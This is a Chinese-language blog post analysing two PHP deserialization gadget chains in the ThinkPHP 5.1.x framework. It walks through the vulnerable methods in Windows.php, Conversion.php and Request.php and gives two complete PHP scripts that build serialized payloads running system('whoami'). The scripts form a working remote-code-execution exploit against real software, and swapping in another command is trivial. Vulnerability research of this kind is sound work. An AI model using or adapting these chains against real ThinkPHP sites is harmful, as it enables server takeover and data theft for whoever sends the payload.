thinkphp 5.1.x 反序列化漏洞分析.md

利用链1

1
/thinkphp/library/think/process/pipes/Windows.php

存在__destruct()方法

跟进removeFiles(),file_exists在处理filename时会当成字符串处理,只要让构造$this->files为包含类的数组就可以调用__toString()

1
/thinkphp/library/think/model/concern/Conversion.php

存在_toString()

toJson()

调用toArray()

toArray()

需要让$this->visible为空,$this->hidden为空,调用getAttr()$data$this->data$this->merge合并而成。

getAttr()满足条件isset($this->withAttr[$fieldName])即可命令执行,参数可控

1
2
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);

getData(),需要满足第二个条件$this->data数组中存在$name键,即可返回$this->data[$name]

1
/thinkphp/library/think/Loader.php

Loader::parseName

parseName会把大写字母转为小写并在前面加上_,如A变成_a,不影响payload的构造

函数名为$closure = $this->withAttr[$fieldName];$fieldName来源于经过Loader::parseName函数处理的getAttr()函数参数$name,而getAttr()函数参数等于$data的键名$key$data$this->data$this->merge合并而成。最终等于$this->withAttr[$key]。让数组$this->withAttr$this->data有相同的键名即可

执行命令:
$value=$this->getData($name),$namegetAttr()参数,在getData()函数中只要满足array_key_exists($name, $this->data)就会返回$this->data[$name]$name为传入参数等于键值$key,最终等于$this->data[$key]

利用

构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
namespace think{
abstract class Model{
private $withAttr = [];
private $data = [];
public function __construct()
{
$this->withAttr=['a'=>'system'];
$this->data=['a'=>'whoami'];
}
}

}
namespace think\model{
use think\Model;
class Pivot extends Model{


}
}
namespace think\process\pipes {
use \think\Model\Pivot;
use think\Process;
abstract class Pipes
{

}

class Windows extends Pipes
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
echo urlencode(serialize(new Windows()));
}

?>

利用链2

前面的触发点都一样,区别在toArray()这里

toArray()

调用_call()方法,首先遍历数组$this->append,当键值$name为数组时满足is_array($name)。让$relation等于类名即可触发_call()

在这之前按需要满足3个条件

1
2
3
4
5
1.$this->append不为空
2.is_array($name)
$this->append等于二维数组,$this->append=[$key->数组]
3.!$relation
构造$this->append['aaa']和 $this->relation=['mmm'=>''];即可

getRelation()

满足array_key_exists($name, $this->relation)就会返回$this->relation[$name]$name就是$this->append数组中的键名。需要让$this->relation[$name]等于空才能满足!$relation执行下面的语句。

getAttr()返回$value,也就是经过getData()处理的参数$key

getData()$name就是$this->append数组中的键名$key,最终返回$this->data[$name],让它等于一个存在__call()方法且不存在visable()方法的类即可调用__call

1
thinkphp/library/think/Request.php

__call(),由于array_unshift()会修改参数数组,造成执行命令不可控,所以没办法直接利用这个call_user_func_array,只能寻找新的利用点

filterValue()函数中存在call_user_func,但是$value不可控,不能直接利用

input()函数中调用了filterValue(),参数不可控不能直接利用

param()函数调用input(),执行$this->input($this->param, $name, $default, $filter);,参数仍不可控。

isAjax()调用param(),参数$this->config['var_ajax']可控,这样param()函数中的$name参数可控,这样input()函数中的$name可控。param()函数可以接收$_GET数组赋值给$this->param,这样input()函数的前两个参数$this->param$name都可控了

回到input()函数,传入filterValue()函数的第一个参数$data和第三个$filter是执行命令的关键。$data等于$this->getData($data,$name),两个函数参数就是input()传入的参数$this->param$name。而$filter等于$this->getFilter($filter, $default);

getData(),最终$data = $data[$val] = $data[$name],也就是$this->param[$this->config['var_ajax']]

getFilter()$filter来源于$this->filter

利用

构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php
namespace think{
class Request{
protected $hook = [];
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
protected $param = [];
protected $filter;

public function __construct()
{
$this->hook=['visible'=>[$this,'isAjax']];
$this->config['var_ajax']='payload';
$this->param=['payload'=>'whoami'];
$this->filter=['system'];
}
}

abstract class Model{
protected $append = [];
private $relation = [];
private $data = [];

public function __construct()
{
$this->append=['mmm'=>[]];
$this->data=['mmm'=>new Request()];//等于new Request
$this->relation=['mmm'=>''];
}

}
}

namespace think\model{

use think\Model;
class Pivot extends Model{

}
}

namespace think\process\pipes{

use think\model\Pivot;
//use think\Process;

class Windows {
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
echo urlencode(serialize(new Windows()));
}

?>


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!